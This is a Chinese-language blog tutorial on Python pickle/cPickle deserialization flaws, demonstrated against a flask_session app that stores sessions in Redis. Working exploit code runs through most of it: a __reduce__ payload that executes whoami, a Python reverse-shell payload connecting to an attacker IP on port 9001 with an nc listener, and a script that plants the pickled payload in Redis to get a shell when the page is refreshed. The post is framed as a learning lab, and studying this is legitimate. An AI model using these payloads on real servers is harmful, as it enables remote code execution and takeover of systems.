2

Python 反序列化安全问题(一)

这一段时间使用flask做web开发,使用了redis存储session,阅读了flask_session源码,发现在存储session到redis过程中,利用了cPickle模块进行序列化以及反序列化;正好根据该样例学习一波Python反序列化相关的安全问题,不足之处请各位表哥指出。

一、基础知识讲解

1.1 cPickle模块

Python中主要是用cPickle和pickle,前者是使用C语言实现,速度可达到后者的1000倍,使用范围较广(文档链接

cPickle可以序列化很多类型的对象,详情见文档。基础语法就是:

import cPickle
a = 1
b = cPickle.dumps(a)
cPickle.loads(b)

文档中需要特别关注的是11.1.5.2,Pickling and unpickling extension types
这一节主要内容就是讲述cPickle序列化以及反序列化扩展类的过程,原文有一句我并没有完全理解意思:

When the Pickler encounters an object of a type it knows nothing about — such as an extension type

初始理解的意思是:当遇到解释器一无所知的扩展类型的时候,但是对于理解的这句话,扩展类型是什么意思?后来想到Python中元类是type,这里extension types应该理解为type类型的class。

class A(): # 旧类
     pass
type(A)
<type 'classobj'>
class B(object): # 新类 
     pass
type(B)
<type 'type'>

所以说这一节主要针对的应该是新类,即 class A(object) 此种写法创建的类(存疑,待补充完善);当序列化以及反序列化的过程中中碰到未知类的时候,可以通过类中定义的__reduce__方法来告知如何进行序列化或者反序列化,该方法可以返回string和tuple类型;问题主要出在tuple类型(后面会细述),通过构造__reduce__可达到命令执行的目的:

import cPickle
import os
class A(object):
    def __reduce__(self):
        a = 'whoami'
        return (os.system,(a,))    
b=A()
result = cPickle.dumps(b)
cPickle.loads(result)

使用上述命令即可执行whoami命令。同时也可以利用该方式反弹shell:

import cPickle
import os
class A(object):
    def __reduce__(self):
        a = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.85.0.76",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
        return (os.system,(a,))    
b=A()
result = cPickle.dumps(b)
cPickle.loads(result)

然后在10.85.0.76执行nc -lvvp 9001,即可成功获取shell。
反弹shell


1.2 flask_session

因为本次测试主要是依托于flask和redis,所以首先介绍一下flask_session。

flask中默认使用客户端session,如果想要配置服务端session,就需要使用flask_session配合Redis(后面皆以Redis为主)或者其他数据库。flask_session使用Redis存储session的过程(主要使用如下的接口实现,只展示部分代码):

class RedisSessionInterface(SessionInterface):
    serializer = pickle  # 上文模块导入 import cPickle as pickle
    session_class = RedisSession
    
    def open_session(self, app, request):  # 获取session
        ……
        val = self.redis.get(self.key_prefix + sid)
        if val is not None:
            try:
                data = self.serializer.loads(val)  ## 将session值取出后反序列化
                return self.session_class(data, sid=sid)
            except:
                return self.session_class(sid=sid, permanent=self.permanent)
        return self.session_class(sid=sid, permanent=self.permanent)

    def save_session(self, app, session, response):  # 存储session
        ……
        val = self.serializer.dumps(dict(session)) ## 将session值序列化存储到redis
        

上述过程简单说就是:session存取过程存在序列化和反序列化的过程。
session在Redis中以键值对(key,value)的形式存储。假设我们能够操纵Redis中的键值对,将某个key的值设为我们序列化后恶意代码(比如上面反弹shell的代码样例),然后在将自身的cookie设置为该key,在访问网站的时候,服务端会对于根据key查找value并进行反序列化,进而反弹shell。下面对于该想法进行测试


二、 漏洞测试

测试环境:
  1. victim:Ubuntu 14.04、Redis 2.8.4、IP:10.85.0.54
  2. attacker:Win10、IP:10.85.0.76

2.1 构建服务端

此处我用flask编写了一个服务端样例:

import redis
import os
from flask import Flask,session
from flask_session import Session
app = Flask(__name__)
SESSION_TYPE = 'redis'
SESSION_PERMANENT = False
SESSION_USE_SIGNER = False
SESSION_KEY_PREFIX = 'session'
SESSION_REDIS = redis.Redis(host='127.0.0.1',port='6379')
SESSION_COOKIE_HTTPONLY = True
PERMANENT_SESSION_LIFETIME = 604800  # 7 days
app.config.from_object(__name__)
Session(app)


@app.route('/')
def hello_world():
    session['name']='test'
    return 'Hello World!'

if __name__ == '__main__':
    app.run(host='0.0.0.0')

将上述代码保存为app.py,第三方库安装完毕后,在服务器上运行

python app.py

即可在5000端口启动简单的服务端,访问如图所示,红框中是我们的sid,也是服务端查找session内容的key(因为设置了前缀,所以redis中key应该是session+sid):
访问服务
redis

2.2 更改session

此时如果说我们将value设置为恶意代码会怎么样?

import cPickle
import os
import redis
class A(object):
    def __reduce__(self):
        a = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.85.0.76",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
        return (os.system,(a,))    
b=A()
result = cPickle.dumps(b)
r = redis.Redis(host='127.0.0.1',port=6379)
r.set('此处为'session'和你的sid拼接',result)

运行上述代码后,我们可以发现我们的session内容变成下图所示内容:更改后的session

2.3 反弹shell

此时在attacker监听9001端口:

nc -lvvp 9001

然后刷新浏览器中访问页面,发现成功反弹shell:
成功反弹shell


三、emmmm

目前很多Python的Web应用都用Redis等NoSQL进行session存储,当攻击者有机会去操纵服务端的session的时候(比如Redis未授权访问),配合反序列化漏洞即可执行命令。上述提到的两个库cPickle和pickle,两个库实现的功能基本相似,后面会对于Python实现的pickle库进行分析为何会出现命令执行的漏洞。


1fe1se
6 声望0 粉丝

网络安全路上走,一走不回头。